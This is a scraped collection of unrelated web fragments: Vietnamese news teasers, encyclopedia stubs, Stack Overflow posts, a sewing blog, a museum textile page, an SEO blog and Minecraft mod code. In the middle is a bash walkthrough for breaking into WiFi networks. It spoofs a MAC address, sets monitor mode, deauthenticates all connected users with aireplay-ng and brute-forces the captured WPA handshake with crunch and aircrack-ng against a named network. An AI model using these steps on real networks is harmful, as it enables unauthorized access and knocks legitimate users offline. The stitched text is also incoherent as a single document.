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Hanoi officials visit Ireland, United Kingdom
Vice Secretary of Hanoi's Party Committee and Chairwoman of the People's Council Nguyen Thi Bich Ngoc (L) received by Dublin's Lord Mayor Nial Ring (Source: hanoimoi.com.vn) Hanoi (VNA) – A delegation from Hanoi led by Vice Secretary of the municipal Party Committee and Chairwoman of the People's Council Nguyen Thi Bich Ngoc is paying a working visit to Ireland and the United Kingdom from May 2-12. During its stay in Ireland's Dublin from May 2-4, the delegation had working sessions with representatives from local educational institutions, visited Trinity College Dublin and made a tour to learn from the city's experience in cultural heritage management. Working with the city's Lord Mayor Nial Ring, Ngoc said since Vietnam and Ireland set up diplomatic ties in 1996, Hanoi has always wanted to develop its friendship and cooperation with Dublin. She told the host that Hanoi is building towards a green and smart city, working to develop a modern … [Read more...] about Hanoi officials visit Ireland, United Kingdom
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Activities mark 74th anniversary of VN People's Army
December 21, 2018 by chinhphu Leave a Comment
An exhibition featuring Viet Nam's generals in two resistance wars against the French and American troops. Works on display include photos, documents, and objects which highlight the care of the Party, State, and late President Ho Chi Minh to generals of the Viet Nam People's Army during the resistance wars, as well as portraits of the generals in major fights and battle fields in the wars. On the same day, an exhibition also commenced in Ho Chi Minh City under the theme 'Following the footprints of Uncle Ho's soldiers', showcasing photos and books on renowned Vietnamese generals and commanders. A gathering of 471 retired army officers was organised in Dak Lak province yesterday, during which Fatherland Defence Orders were presented to 41 outstanding retired army officials in recognition of their service to the country. The Thua Thien – Hue provincial Department of Information and Communications in … [Read more...] about Activities mark 74th anniversary of VN People's Army
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Summer camp for young Overseas Vietnamese and Ho Chi Minh city youth…
July 24, 2018 by dangcongsan Leave a Comment
The summer camp attracts 60 young overseas Vietnamese from 10 countries (Photo: voh.com.vn) The annual event lured 60 young overseas Vietnamese from Laos, Cambodia, Thailand, Malaysia, the US, Germany, Russia, Poland, Ukraine and Canada. Phung Cong Dung, Chairman of the Ho Chi Minh city Committee for Overseas Vietnamese, said that the summer camp is a precious opportunity to help overseas Vietnamese share their feelings and connect with others as well. Taking place from July 23rd-26th, the participants are projected to visit and present gifts to children at Go Vap Orphanage, participate in a cooking class at Saigontourist Hospitality College, visit Vietnamese Dream Nursery Garden by Dr. Nguyen Tri Dung, an overseas Vietnamese from Japan, visit the Institute of Oceanography in Nha Trang city, Khanh Hoa province, and exchange with officials and soldiers from Submarine Brigade 189./. BTA … [Read more...] about Summer camp for young Overseas Vietnamese and Ho Chi Minh city youth…
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Indian navy ships visit Đà Nẵng Port
Indian navy crew members join a welcome ceremony at Đà Nẵng's Tiên Sa Port on May 21. — VNS Photo Công Thành Viet Nam News ĐÀ NẴNG — Three Indian naval ships—frigate Sahyadri, fleet tanker Shakti and anti-submarine stealth corvette Kamorta—with 900 crew members began a four-day friendly visit at Đà Nẵng City's Tiên Sa Port on May 21. The ships are under the command of Rear Admiral Dinesh Kumar Tripathi, flag officer commanding of the Eastern Fleet. The Indian Naval ship Sahyadri previously paid a friendship visit to the city in 2014. The visit, which is part of the ongoing operational deployment of the Indian Navy's Eastern Fleet ships to South East Asia and the North West Pacific region, will include professional interaction between personnel of both navies, official calls and interaction with dignitaries of the Vietnamese Government. The Indian crew members … [Read more...] about Indian navy ships visit Đà Nẵng Port
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'Back with eyes open': Malala visits Pakistan district where she was shot
Malala Yousafzai visited the Swat valley Saturday for her first trip back to the once militant-infested Pakistani region where she was shot in the head by the Taliban more than five years ago. "I left Swat with my eyes closed and now I am back with my eyes open," she told AFP, referring to how she was airlifted out in a coma after the attack in 2012. "I am extremely delighted. My dream has come true. Peace has returned to Swat because of the invaluable sacrifices rendered by my brothers and sisters," she said at a school outside Mingora, the district's main town, where she was escorted by the Pakistani military. The brief trip by the 20-year-old Nobel laureate is a highly symbolic moment for Pakistan, which regularly touts Swat as a success story in its long battle with extremism as it defends itself against accusations by the US and others that its northwest remains a safe haven for militancy. The visit - on which she was accompanied by her father, mother, and two brothers - was kept … [Read more...] about 'Back with eyes open': Malala visits Pakistan district where she was shot
Filed Under: International Malala, Pakistan, Nobel peace, conflicts, violence
Social News 29/1
Exhibition praises victory of 1968 Tet OffensiveCommando Ba Mu (whose real name is Do Van Can) disguised himself as a rubber latex collector to fool the enemy. He used a tricycle to transport weapons to serve the South Vietnam liberation forces during the 1968 Tet Offensive.The tricycle is on display at exhibition that has opened in Hanoi.Entitled The Epic of the 1968 Tet Offensive, the exhibition celebrates the 50th anniversary of the victory of the campaign.The exhibition displays more than 300 images, documents and objects. Ba Mu's tricycle is one among many objects showcased to the public for the first time.The exhibition is divided into three parts: devotion for the battlefield, the historical turning point and echoes of the epic. They depict the determination of Vietnamese people and soldiers in fighting for peace and liberation."The Military History Museum of Vietnam organised the exhibition with the aim of asserting the historical magnitude and significance of the … [Read more...] about Social News 29/1
Filed Under: society
WB okays $118 mln for post-disaster reconstruction in central VietnamVietnam is highly vulnerable to typhoons every year with over 70 percent of 92 million people suffering natural disasters such as flooding and storm, said a representative of the World Bank.The project is being implemented from 2017 – 2021 in the central provinces of Binh Dinh, Quang Ngai, Phu Yen, Ninh Thuan and Ha Tinh.The World Bank has agreed to provide Vietnam with US$118 million of official development assistance (ODA) for disaster relief in the country's above-mentioned central provinces. The amount will be used for building infrastructure, drainage system and improving locals' awareness.Deputy Chairman of People's Committee in Binh Dinh Province Tran Chau said undertaking the project will help localities raise its competence in coping with natural disasters, reconstructing infrastructure which storm destroyed for development.Subsequently, Binh Dinh pledged to use the assistance loan for … [Read more...] about Social News 24/1
Government News 23/1
PM hails journalists' contributions to creating public trustPrime Minister Nguyen Xuan Phuc lauded journalists for having helped create public trust and rally forces to build a constructive and service-oriented government. He made the remark at his meeting with leaders of the Party Central Committee's Commission for Information and Education, the Ministry of Information and Communications, the Vietnam Journalists' Association (VJA) and press outlets. The event saw the participation of Politburo member and head of the Party Central Committee's Commission for Information and Education Vo Van Thuong, deputy head of the Commission for Information and Education Thuan Huu, who is also VJA Chairman and Editor-in-Chief of the Nhan Dan (People) newspaper. At the event, the PM expressed his most sincere thanks to the Vietnam revolutionary press for its immense, multi-dimensional contributions to the government's achievements over the past … [Read more...] about Government News 23/1
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The Vegetarian Street Dogs
February 11, 2018 by robert Leave a Comment
He is not only a friend to the street dogs scattered all over the city. The homeless dogs who happen to live in his neighborhood often congregate at his front gate for their lunch and dinner. Exactly twenty-one of them. Ravi has named each and every one of those dogs. But before I continue, let me fill you in, chronologically, on Ravi's back story. The first time I visited Ravikanth Shankar's house was at the end of 1993. The year before, the Shankars had helped out a destitute Vietnamese student, giving her free room and board at their house for a month, and helping her navigate the entrance procedures for a university. That student, Diep, had received an Indian scholarship, including travel expenses. It was her first time abroad, and her first time traveling by air. But when she arrived at Bangalore, there had been no one from the university to meet her at the terminal: the semester had actually begun three weeks previously. She had been standing there, helpless and … [Read more...] about The Vegetarian Street Dogs
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Top libraries for students in HCM City
June 1, 2018 by vietnamnet Leave a Comment
In Ho Chi Minh City, there are numerous libraries providing extra-curricular learning space for students in need of a tranquil venue for study in groups or self-study on the weekend. American Center Library, INSPIRE Library, General Sciences Library, and Idecaf Multi-library are four worthwhile venues for students in the city. American Center Library: 34 Le Duan Boulevard, Ben Nghe Ward, District 1 Located on the eighth floor of the Diamond Plaza building at 34 Le Duan Boulevard in District 1, the American Center library under the Public Affairs Section of the US Consulate General in HCM City is a popular address frequented by students of English and the expat community. Visitors are simply required to show their ID to gain access to the library. Those coming to the center on a regular basis can register for membership with staff at the center, or make online registration on its Facebook page or the US Consulate General website. The venue, equipped with modern facilities and a … [Read more...] about Top libraries for students in HCM City
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The first USS Gretchen (SP-423) was a patrol vessel acquired by the United States Navy in 1917.

Gretchen was built as a private motorboat. On 30 July 1917, the U.S. Navy acquired her from her owner, Sylvanus Stokes, for use as a section patrol boat during World War I. She was placed in service as USS Gretchen (SP-423).

Assigned to the 5th Naval District, Gretchen was found unsuited for use in patrol duties. The Navy returned her to her owner on 1 November 1917.

Gretchen should not be confused with , another patrol vessel in U.S. Navy service at the same time.

References

 NavSource Online: Section Patrol Craft Photo Archive: Gretchen (SP 423)

Patrol vessels of the United States Navy
World War I patrol vessels of the United States

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Q: Display result table based on selected search criteria and search keyword Assume that I have table consist of a list of students. To search for a student, I have a drop down list on the criteria I can select from to search by, such as search by ID, search by hometown, search by gender, search by max GPA, etc. After I select the criteria I'd like to search by, I proceed to enter the keyword.
Currently, I have 2 variables, category which is the variable to store the option/criteria I chose to search by, and keyword which is the word I enter in the input box.
What should I do if I want to compare the keyword I entered to all objects in the column of the criteria I selected? Let's say I select search by hometown, when I enter "New", the result table will show all results with hometown with the word "New" in it. I already used toUpperCase() because I don't want to use case-sensitive search.

A: Please find below code snippet of working filter functionality, here I am using search field along with drop-down to select a category, and I guess this would be helpful:

$(document).ready(function() {
  this.json = {
    "Students": [{
        "id": "1",
        "hometown": "London",
        "gender": "Male",
        "GPA": "8",
        "name": "Lee",
      },
      {
        "id": "2",
        "hometown": "NY",
        "gender": "Male",
        "GPA": "9",
        "name": "Shaldon",
      }, {
        "id": "3",
        "hometown": "Paris",
        "gender": "Female",
        "GPA": "7",
        "name": "Julie",
      }
    ]
  };

  this.renderTable = function(Students) {
    var tbody = document.getElementById('tbody');
    tbody.innerHTML = "";
    for (var i = 0; i < Students.length; i++) {
      var tr = "
";
      tr += "ID	" + "" + Students[i].id + "
";
      tr += "HomeTown	" + "" + Students[i].hometown + "
";
      tr += "Gender	" + "" + Students[i].gender + "
";
      tr += "GPA	" + "" + Students[i].GPA + "
";
      tr += "NAME	" + "" + Students[i].name + "
";
      tr += "
";
      tbody.innerHTML += tr;
    }
  }

  this.renderTable(this.json.Students);

  console.log(this.json.Students);
  //code for filtering//
  this.Filter = function() {
    var search = document.getElementById('search');
    var category = document.getElementById('category');
    var filteredObj = this.json.Students;
    filteredObj = $.map(this.json.Students, function(val, key) {
      if (search.value === val[category.value]) return val;
    });
    filteredObj.length>0 ? this.renderTable(filteredObj) : this.renderTable(this.json.Students);
  }

});

<input id="search" type="search">
<select id = "category">
<option value = "select">select</option>
   <option value = "id">ID</option>
   <option value = "hometown">HomeTown</option>
   <option value = "gender">Gender</option>
   <option value = "GPA">GPA</option>
   <option value = "name">NAME</option>
  </select>
<button onclick="Filter()">Filter</button>

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The Avril group inaugurated a new bottling and packaging plant for Lesieur vegetable oils in Bassens (Gironde), a unique industrial operation at the cutting edge of technology.
The Group has brought together on the same site the activities of its Saipol subsidiary – established in Bassens since 1979 – and its Lesieur subsidiary – previously based in the Bacalan district of Bordeaux.
The result is a high-tech agrifood center located in south-west France, combining all of the group's activities, from the seeds to the bottles of oil.
At €31 million, this is a historic investment for the Avril Group and also for their subsidiary, Lesieur, bringing the total amount of investment in the site since 2006 to more than €150 million, for the development and diversification of their industrial activity.
"It's almost a hundred years since Lesieur last built a new bottling and packaging plant for vegetable oils", commented Jean-Philippe PUIG, Manager of Avril SCA.
"Today, Avril is launching its first sector-specific site in France, a perfect illustration of our model, combining the upstream agricultural sector with the downstream industrial sector, from the seeds to the consumer.
This integrated agrifood center, encompassing everything from the seeds to the bottle of oil, incorporates all of Avril's activities in crop production – from crushing the rapeseed and sunflower seeds, to unpackaged food (meal, vegetable oils) or packaged products (Lesieur vegetable oils), and including renewable energies (Diester biodiesel) and renewable chemistry (vegetable glycerin).
The inauguration of the new Lesieur plant gives the site a production capacity of 100 million liters of bottled oil per year (Frial, Fruit d'Or, Lesieur Cœur de Tournesol and ISIO 4).
This advanced industrial facility is capable of bottling and packaging 1,800 to 20,000 bottles per hour, depending on the format.
The refined oil required for making the finished products is produced directly by Saipol's refining installation, which is now located on-site.
Avril's new agrifood center in the south-west has 200 staff, including 94 employees at the new Lesieur plant.


I ordered this from Elastic By The Yard. These arrived today in the mail. So pretty!!!!
Now my online buying is complete!
Here's another angle. Each of these spools is 5 yards of various foldover elastics for projects that require such edgings of beauty!
In reading news, I have finished The Art of War by Sun Tzu. Reading it now to my 12-year-old. He digs it.
The book describes how the proliferation of cheap fashion has driven away once thriving clothing manufacturers and design shops in the United States. I'm 90 pages into this book, and I feel the urge to shop only at second hand clothing stores, but more to my liking - make as many of my own clothes as I possibly can. Not a perfect solution, given that the textile industry carries its own problems with the way it is manufactured, but I still think making my own clothes is a positive step. Sewing forces you to use thought and time and problem-solving skills in every piece you make. I don't need to have a lot of stuff (clothes), but I sure love to create, so I will soldier on!
Excerpt: Acts chap 19 vs 18, 19 Also, many of those who were now believers came, confessing and divulging their practices. And a number of those who had practiced magic arts brought their books together and burned them in the sight of all. And they counted the value of them and found it came to fifty thousand pieces of silver.


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echo set ur wlan0 really down by:
echo '	ifconfig wlan0 down'
read
# ifconfig wlan0 down

#	%002
echo 'change the mac which is assigned to wlan0'
echo '	u will see the current mac and the fakedMac'
echo '	macchanger -m 00:11:22:33:44:55 wlan0'
read
# macchanger -m 00:11:22:33:44:55

#	%003
echo 'put ur wlan0 to up'
echo '	ifconfig wlan0 up'
read
# ifconfig wlan0 up

echo 'check that wlan0 is working'
echo '	iwconfig wlan0'
read
# iwconfig wlan0

#	%004
echo 'put ur wlan0 that it can do an injection'
echo 'it will create another interface mon0 which will do the injection'
echo 'so, from now, use mon0 which can do the injection'
echo '	airmon-ng start wlan0'
read
# airmon-ng start wlan0

echo 'check that mon0 is in monitor mode'
echo '	iwconfig mon0'
read
# iwconfig mon0

#	%005
echo 'check all wifi which u can hack'
echo '	airodump-ng mon0'
read
# airodump-ng mon0

#	%006
echo 'copy the line which has the wifi00 which u will hack'
echo 'which contains: bssid00 channel00 '
read

#	%007
echo 'see who are the client who connected to the wifi00 u just copied'
echo 'and let it running, do not close that window'
echo '	airodump-ng --bssid bssid00 -c channel00 -w nonSens00 mon0'
read
# airodump-ng --bssid bssid00 -c channel00 -w nonSens00 mon0

#	%008
echo 'deauth all users who are connected to wifi00'
echo '	aireplay-ng -0 30 -a bssid00 mon0'
read
# aireplay-ng -o 30 -a bssid00 mon0

echo 'go back in airodump-ng, u should see that there is handshake'
read

#	%009
echo 'crack the wifi using wordlist00.lst'
echo '	nonSense00 is a file which have been created just before'
# echo '	aircrack-ng -w wordlist00.lst -b bssid00 nonSens00*.cap '
echo '	crunch 10 10 abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 | aircrack-ng -a 2 forCrunch-01.cap -e BM652w-DCn3tr -w -'
read
# aircrack-ng -w wordlist00.lst -b bssid00 nonSens00*.cap

echo 'normally u have it'

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The Faculty Lunch Talks series provides a behind-the-scenes look at the ongoing professional development of CCAD's faculty. In each session, two informal presentations by faculty about their recent or upcoming creative work, scholarship, or other professional development—specific projects, compelling experiences, or new ideas about teaching—are combined with a light lunch and community dialogue. All CCAD faculty, staff, and students are welcome to attend.
The Faculty Lunch Talks occur every other Thursday from 11 a.m. to 12:15 p.m. in the Canzani Center Multipurpose room. A light lunch of soup, salad, rolls, and cookies will be provided. The series is presented by CCAD Faculty Council and Academic Affairs.
Jason Mowry, "Exploring Imaginative Realism"
Jason Mowry recently attended and showcased several paintings at IX Arts Showcase in Reading Pennsylvania this past fall. He will talk about the work he presented at the Showcase and how he would define the term Imaginative Realism. Mowry is an adjunct instructor in the Animation department.
Joey Pigg, "Our Students Don't Do Their Course Readings, and It's Our Fault"
Joey Pigg, an adjunct instructor in the Writing, Literature, and Philosophy department, will talk about the implementation and development of a reading engagement pedagogy and assessment model in the classroom. He will share his recent work in reorienting his philosophy courses and students to the practice of reading itself.
Lexie Stoia, "Talking to Our Ancestors"
Using traditional materials and electricity, Lexie Stoia looks for threads connecting us to those who came before. She will use an interactive presentation style to discuss nature, technology, food, and the loss of ancestral skills. Stoia is an adjunct instructor in CORE/CINE and an adjunct faculty representative on Faculty Council.
Maria Romasco Moore, "Ecstatic Ekphrastic: Photographs and Fiction"
Maria Romasco Moore's recent multimedia book Ghostographs: An Album was described by the New York Times as an "eerie, intimate sequence of flash fictions illuminating the author's carefully curated collection of vintage photographs...." In this talk, she will discuss the process of working on Ghostographs, as well as other recent text and image collaborations. Moore is an adjunct instructor in the Writing, Literature, and Philosophy department.
Carol Griffith, "Art Basel Miami & the Grand Canyon"
Professor of Fine Arts Carol Griffith will reflect on her trip to Art Basel Miami last year and a research photo shoot in Utah and Arizona this past June. Her presentation will include images from both experiences.
Vicki Golden, "Swimming the Sabbatical"
Vicki Golden reflects on her sabbatical experiences thusly: "Sometimes you just go with the wave, other times you learn to punch through all the paddling so not to be washed backwards by the wave, and many times you dive deeper for quieter waters." Golden is an associate professor in Advertising & Graphic Design.
¡Katie B Funk!, "and I knew I was a teacher when"
Adjunct instructor in CORE Studies ¡Katie B Funk! will offer a firsthand account of what it means to go from graduate student to postgrad purgatory to first-time teacher and back again.
Robert Loss, "Prince from Minneapolis: A Report on Utopia"
Robert Loss will discuss the utopian visions in Prince's music, what he learned about them by presenting at last year's Prince from Minneapolis conference, and why they remain vital today for culture, politics, and education. Loss is an associate professor in the Writing, Literature, and Philosophy department, teaches in the Comics and Narrative Practice program, and is the president of Faculty Council.
Bekah Nunn, "Reflections on Digital Project Management"
Bekah Nunn, Program Coordinator for the Animation department, will recap her recent Digital Project Management certification course to highlight how we can utilize project management techniques to bolster the soft-skills of our students as well as in our own professional practices.
Tosha Stimage, "Art education as an experiment in language"
In this talk, Tosha Stimage will detail the impact that collaborative learning environments and external art partnerships have on classroom engagement. She will discuss eliminating "failure" in learning environments, polycentric approaches to knowledge, and reciprocity in art communities/institutions. Tosha Stimage is an AICAD teaching fellow and visiting full-time faculty member in the Fine Arts department.


The 50,000 objects in the textile collections fall into two main categories: raw fibers, yarns, and fabrics, and machines, tools, and other textile technology. Shawls, coverlets, samplers, laces, linens, synthetics, and other fabrics are part of the first group, along with the 400 quilts in the National Quilt Collection. Some of the Museum's most popular artifacts, such as the Star-Spangled Banner and the gowns of the first ladies, have an obvious textile connection.
The machinery and tools include spinning wheels, sewing machines, thimbles, needlework tools, looms, and an invention that changed the course of American agriculture and society. A model of Eli Whitney's cotton gin, made by the inventor in the early 1800s, shows the workings of a machine that helped make cotton plantations profitable in the South and encouraged the spread of slavery.
Fishermen working trawl lines in the 19th century often suffered cuts and rope burns on their hands. They typically wore mittens or gloves to protect themselves when hauling the long lines aboard and removing the fish. These sturdy but soft rings, called nippers, are knitted of woolen yarn and stuffed with more wool. They would have fit around a fisherman's palms, protecting his hands while his fingers remained free for tasks requiring dexterity.
These nippers were probably made in Gloucester, Mass., for use by local fishermen working on offshore schooners. The shallow, fertile banks stretching from Georges Bank east of Nantucket to the Grand Bank off Newfoundland, Canada, were prime fishing areas for Gloucestermen. Cod, haddock, and halibut were the principal species caught by fishermen working aboard schooners in these waters in the late 19th century.
These nippers were among the fishermen's clothing, tools, and apparatus featured by the United States in the 1883 International Fisheries Exhibition in London.
This organdy nurse's cap was worn by Elizabeth Brizindine, a 1945 graduate of the Johns Hopkins Hospital School of Nursing. Most nursing schools had their own distinct caps which were given out upon graduation. They were often a point of pride, a prestigious symbol designating ones academic credentials, not unlike t-shirts or sweatshirts with the name of one's university emblazoned across the chest. Once men entered the nursing profession in greater numbers in the early 1970s, caps became less important and are now considered a memento for those graduate nurses who choose to purchase them.
This set consists of five tools, all enclosed in a cream celluloid case shaped like a key. "Hamburg" is printed on the key's shaft, so this was probably a German souvenir. The tools are also made of celluloid except for one needle, which is wood. No other markings are on the set.
A pocket sewing kit in an oval imitation-ivory celluloid case. A tray inside the case, also made of celluloid, has pockets for the seven implements, plus a small pincushion covered in blue felt. Some of the implements are also made of celluloid. The kit is unmarked. The scissors were made in Germany, as were the sharps.
The silk-covered pincushion is in a cream celluloid canoe. The canoe doesn't rest upright, but a silk ribbon tied around the pincusion forms a handle or hanger so the pincushion could be suspended near the work area. It is unmarked.
A crochet hook made of cream celluloid, marked "4."
A metal crochet hook with an ivory grain celluloid handle. The No. 10 hook is contained in a felt-lined celluloid case.
This pair of iron gates from the 1870s hung in the Dobson textile mill in Philadelphia, Penn., until 1991.
In the late 18th century most workers were farmers or artisans, accustomed to overseeing their own work and schedules, and setting the pace of their work by the seasons and centuries-old traditions. With the rise of the factory system of production in the 19th century, managers sought to mold workers into disciplined and coordinated armies of employees. They tried to regulate each laborer's schedule, pace, and work habits. They prohibited amusements, reading, games, and consumption of alcohol—diversions that had been permitted in the flexible work schedule of artisans' shops.
Fences around factories protected property and symbolically established who was in control. A fence forced workers to file through a gate past a timekeeper's office. Americans who worked in textile mills were among the first to experience the new relationship between managers and workers. Not everyone adapted to the new rules. Some workers found ways to continue to control their own work, formed unions to enforce their own work rules, or quit.
Trade catalogs from Lien-I Textiles Co., Ltd.


Raise your hand if you believe that using Google Analytics can affect your site's SEO rankings. Now raise your other hand if you believe Google Adwords also affects your SEO.
If you've got both hands in the air keep them that way, as having your hands off of the keyboard is probably the best SEO strategy for your website right now.
I had been under the impression that Matt Cutts put this myth to rest several times (see video below) however some recent forum threads make it hard to maintain faith about the general public's SEO opinion. It's not just SEOs either. I've seen this level of thinking with fortune 500 clients as well. In fact, I've even seen some analytics platforms use the "don't share your data with google" angle in their sales pitches. By the way, if you clicked that link I know what you're thinking and yes, I read black hat forums. Is there something wrong with that?
Sadly, (and chime in if you can think of one) there's no proper controlled way to test this. Since we can't scientifically prove that Analytics has no effect on SEO, there's only a couple of ways we can look at this.
That's well and good, but I know exactly what people like Graywolf are going to say here. "Why would Google tell you the truth if they did use it? Wouldn't that just get you to stop using their products?" And I agree. If you already believe it's a conspiracy, taking the conspirator's word for it doesn't help much. It's like trying to use the bible to prove God exists. Let's move on.
People have been claiming ill effects after installing GA for years on webmaster world. But does that make it so, or is it simply a timing or correlation/causation mistake? We'll never know because webmaster world doesn't let you list sites for examples, but I'd be willing to bet I can look at any site claiming this and come up with other non GA reasons why the rankings are down.
So anecdotal evidence didn't provide much help. I can find some for and some against, but that's exactly what I expected to find – since if all the anecdotal evidence said the same thing we probably wouldn't even be asking the question to begin with.
3. We could look at things from Google's point of view.
When all else fails, this is usually the best bet. WWGD? (site note: maybe I should start selling WWGD wristbands) Whenever I'm in doubt about something in SEO I put on my software engineer hat and think of things from Google's point of view. To me, it wouldn't make sense to use Google Analytics data in rankings. There's several reasons for this.
Google doesn't need to use your analytics data, their index contains most of it anyway. Think about it. What can google get from your Analytics account that a good index of the web wouldn't already tell you? They know about all of your pages, they know what sites link to your pages, they know how many clicks you get from search, and they know what keywords you rank for. They also know all of this about all of the sites linking to you. Sure there's other data they can get from analtyics like paths, funnels, conversion rates, etc – but none of those things really make sense to use in rankings. Think about it, how would what the visitor does once they're on your site affect whether or not your site is relevant for a term? It wouldn't!
So just looking at their search index, with a little recursion Google can get all the ranking relevant information without needing analytics – so why use it? From an engineering perspective it would be both slower AND more complex to do so. Plus, what would happen if they ever discontinued analytics? The search engine wouldn't work without it – and that type of dependency doesn't fit the Google model of scalable thinking.
It would also be a PR nightmare.
Think about what would happen if word got out that they DID in fact use analytics data? Danny Sullivan would be all over it, Privacy groups would be up in arms, the EFF and ACLU would file lawsuits, the Times would run a front page article, Jesse Jackson would hold a prayer vigil, Graywolf and Pageoneresults would be screaming "I told you so", and that would bring about the twitter fail whale. They'd never live down the bad PR.
If you don't think Google takes these things into consideration, perhaps it's best you raise your hands up in the air too.
There are few in this country that have the power to nuke China off the face of the earth on their command. Having the power does not make them evil. Using that power..???
My point, is that Sun Tzu believes you should know all the tactics available. All the tactics your competition could use. Knowing black hat tactics is one thing. Using black hat tactics is another.
One word… quality, which is often referred to in relation to two words, bounce rate. This is what it really comes down to. However there are many other pieces of data that google would never know without analytics. You pointed out only a handful that do frankly have nothing to do with ranking. What else could be important to google? WWGD? Gee, for an advertising company, seeing other sources a site might be getting traffic from could prove useful. I think it comes down to the quality though. Does the visitor stay or bounce in 30 seconds? Stay = rank up, bounce = rank down.
Complexities in integrating an additional signal are not all that hard. An 'if' here and an 'else' there and presto, you got more data for your decision making.. in this case, decision to rank.
As far as privacy goes, googles own terms give us peace of mind knowing that our data will never be whored out to a 3rd party. No, it will just be used in the googleplex and passed around for their own pleasure. What happens in google, stays in google. Solution, don't go to google. 🙂 .. or in this case, don't let google see your otherwise 'private' parts.
Ok let's start at the top and dissect your concerns.
1.) Bounce rate. Google knows this already. By using your global cookie and timing when you left the search results and how soon you come back to the same search results, they can effectively know that you clicked the back button. Bounce rate FROM search would be a way more valuable metric than overall bounce rate for your site, so why would they use the less accurate one? Example, if you buy an ad with the keyword "blue widgets" and point it to the "red widgets" page, it would achieve a high bounce rate for those visitors, however not for visitors from google who searched for "blue widgets." Google (if they wanted to use this, I'm not saying they do) would have much better relevancy by using the search data, not your analytics data.
2.) Google's stated goal (and the one that best helps their search engine) is to return relevant results for the given query. Knowing what other sources deliver traffic to your website doesn't have anything to do with whether or not your site is relevant for that query. However, even if it did, this information is already contained in their index as Google's index includes every site they've found that links to yours. Why would they go out of the way to pull it from your analytics account when it's already built into pagerank?
Valid concerns, but easily shown not make much sense for Google to do.
Ryan, I like this post, so you can vote its message up here: Ryan's plea for common sense & logic.
I have noticed all his hype about how Google chooses the website on page one. Customisation works by looking at the websites that you find popular and dropping a cookie into your cache. This in my opinion means that Google is actively looking at what you like and basing its index on that, so I ask you wouldn't google use the data provided by all its own products to help it choose. Ie adwords, places, shopping.


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package exnihiloadscensio.registries;

import java.io.File;
import java.io.FileReader;
import java.io.FileWriter;
import java.util.ArrayList;
import java.util.List;

import com.google.gson.Gson;
import com.google.gson.GsonBuilder;
import com.google.gson.reflect.TypeToken;

import exnihiloadscensio.blocks.ENBlocks;
import exnihiloadscensio.json.CustomItemInfoJson;
import exnihiloadscensio.registries.manager.ICrucibleDefaultRegistryProvider;
import exnihiloadscensio.registries.manager.IFluidBlockDefaultRegistryProvider;
import exnihiloadscensio.registries.manager.RegistryManager;
import exnihiloadscensio.registries.types.FluidBlockTransformer;
import exnihiloadscensio.util.ItemInfo;
import lombok.Getter;
import net.minecraft.init.Blocks;
import net.minecraft.init.Items;
import net.minecraft.item.ItemStack;
import net.minecraftforge.fluids.Fluid;
import net.minecraftforge.fluids.FluidRegistry;

public class FluidBlockTransformerRegistry
{
	@Getter
	private static ArrayList<FluidBlockTransformer> registry = new ArrayList<>();

	private static List<FluidBlockTransformer> externalRegistry = new ArrayList<>();

	public static void register(Fluid fluid, ItemInfo inputBlock, ItemInfo outputBlock)
	{
	    registerInternal(fluid, inputBlock, outputBlock);

	    externalRegistry.add(new FluidBlockTransformer(fluid.getName(), inputBlock, outputBlock));
	}

	private static void registerInternal(Fluid fluid, ItemInfo inputBlock, ItemInfo outputBlock)
	{
	    registry.add(new FluidBlockTransformer(fluid.getName(), inputBlock, outputBlock));
	}

    private static void registerInternal(String fluid, ItemInfo inputBlock, ItemInfo outputBlock)
    {
        registry.add(new FluidBlockTransformer(fluid, inputBlock, outputBlock));
    }

	public static boolean canBlockBeTransformedWithThisFluid(Fluid fluid, ItemStack stack)
	{
		ItemInfo info = ItemInfo.getItemInfoFromStack(stack);

		for (FluidBlockTransformer transformer : registry)
		{
			if (fluid.getName().equals(transformer.getFluidName()) && info.equals(transformer.getInput()))
				return true;
		}
		return false;
	}

	public static ItemInfo getBlockForTransformation(Fluid fluid, ItemStack stack)
	{
		ItemInfo info = ItemInfo.getItemInfoFromStack(stack);

		for (FluidBlockTransformer transformer : registry)
		{
			if (fluid.getName().equals(transformer.getFluidName()) && info.equals(transformer.getInput()))
			{
				return transformer.getOutput();
			}
		}

		return null;
	}

    private static Gson gson = new GsonBuilder().setPrettyPrinting().registerTypeAdapter(ItemInfo.class, new CustomItemInfoJson()).create();

	public static void loadJson(File file)
	{
	    registry.clear();

		if (file.exists())
		{
			try
			{
				FileReader fr = new FileReader(file);
				List<FluidBlockTransformer> gsonInput = gson.fromJson(fr, new TypeToken<List<FluidBlockTransformer>>(){}.getType());

				registry.addAll(gsonInput);
			}
			catch (Exception e)
			{
				e.printStackTrace();
			}
		}
		else
		{
			registerDefaults();
			saveJson(file);
		}

        registry.addAll(externalRegistry);
	}

	public static void saveJson(File file)
	{
		try
		{
			FileWriter fw = new FileWriter(file);
			gson.toJson(registry, fw);

			fw.close();
		}
		catch (Exception e)
		{
			e.printStackTrace();
		}
	}

	public static void registerDefaults()
	{
		for (IFluidBlockDefaultRegistryProvider provider : RegistryManager.getDefaultFluidBlockRecipeHandlers()) {
			provider.registerFluidBlockRecipeDefaults();
		}
	}
}


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Shehu Mohammed Shagari (born 29 November 1990 in Kano) is a Nigerian footballer who is currently playing in the Nigerian Premier League for Kano Pillars F.C.

Career
Shehu began 2004 his career with the second team of  Kano Pillars F.C. The left Midfielder was promoted to the first team in 2008.

International career
Shagari is member of the 2009 FIFA U-20 World Cup squad. He was a reserve player in the first game on 25 September against Venezuela and was with the team in the August 2009 Training Camp in Spain.

References

Living people
1990 births
Association football defenders
Nigerian footballers
Nigeria under-20 international footballers
Kano Pillars F.C. players
Sportspeople from Kano


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Q: Nanoflann radius search I have a doubt regarding the parameter search_radius in nanoflann's radiusSearch function. My code is this:
#include <iostream>
#include <vector>
#include <map>

#include "nanoflann.hpp"
#include "Eigen/Dense"

int main()
{
    Eigen::MatrixXf mat(7, 2);
    mat(0,0) =  0.0; mat(0,1) = 0.0;
    mat(1,0) =  0.1; mat(1,1) = 0.0;
    mat(2,0) = -0.1; mat(2,1) = 0.0;
    mat(3,0) =  0.2; mat(3,1) = 0.0;
    mat(4,0) = -0.2; mat(4,1) = 0.0;
    mat(5,0) =  0.5; mat(5,1) = 0.0;
    mat(6,0) = -0.5; mat(6,1) = 0.0;

    std::vector<float> query_pt(2);
    query_pt[0] = 0.0;
    query_pt[1] = 0.0;

    typedef nanoflann::KDTreeEigenMatrixAdaptor<Eigen::MatrixXf> KDTree;

    KDTree index(2, mat, 10);
    index.index->buildIndex();

